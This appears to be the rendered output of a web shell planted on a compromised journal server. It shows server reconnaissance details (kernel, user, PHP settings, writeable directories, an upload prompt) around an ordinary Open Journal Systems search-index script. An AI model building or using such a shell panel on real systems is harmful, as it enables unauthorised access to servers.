KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/tools/rebuildSearchIndex.php
<?php

/**
 * @file tools/rebuildSearchIndex.php
 *
 * Copyright (c) 2014-2020 Simon Fraser University
 * Copyright (c) 2003-2020 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class rebuildSearchIndex
 * @ingroup tools
 *
 * @brief CLI tool to rebuild the article keyword search database.
 */

require(dirname(__FILE__) . '/bootstrap.inc.php');

class rebuildSearchIndex extends CommandLineTool {
	/**
	 * Print command usage information.
	 */
	public function usage() {
		echo "Script to rebuild article search index\n"
			. "Usage: {$this->scriptName} [options] [journal_path]\n\n"
			. "options: The standard index implementation does\n"
			. "         not support any options. For other\n"
			. "         implementations please see the corresponding\n"
			. "         plugin documentation (e.g. 'plugins/generic/\n"
			. "         lucene/README').\n";
	}

	/**
	 * Rebuild the search index for all articles in all journals.
	 */
	public function execute() {
		// Check whether we have (optional) switches.
		$switches = array();
		while (count($this->argv) && substr($this->argv[0], 0, 1) == '-') {
			$switches[] = array_shift($this->argv);
		}

		// If we have another argument that this must be a journal path.
		$journal = null;
		if (count($this->argv)) {
			$journalPath = array_shift($this->argv);
			$journalDao = DAORegistry::getDAO('JournalDAO');
			$journal = $journalDao->getByPath($journalPath);
			if (!$journal) {
				die (__('search.cli.rebuildIndex.unknownJournal', array('journalPath' => $journalPath)). "\n");
			}
		}

		// Register a router hook so that we can construct
		// useful URLs to journal content.
		HookRegistry::register('Request::getBaseUrl', array($this, 'callbackBaseUrl'));

		// Let the search implementation re-build the index.
		$articleSearchIndex = Application::getSubmissionSearchIndex();
		$articleSearchIndex->rebuildIndex(true, $journal, $switches);
	}

	/**
	 * Callback to patch the base URL which will be required
	 * when constructing galley/supp file download URLs.
	 * @see PKPRequest::getBaseUrl()
	 */
	public function callbackBaseUrl($hookName, $params) {
		$baseUrl =& $params[0];
		$baseUrl = Config::getVar('general', 'base_url');
		return true;
	}
}

$tool = new rebuildSearchIndex(isset($argv) ? $argv : array());
$tool->execute();


KUNTUL | JINGKONTOT |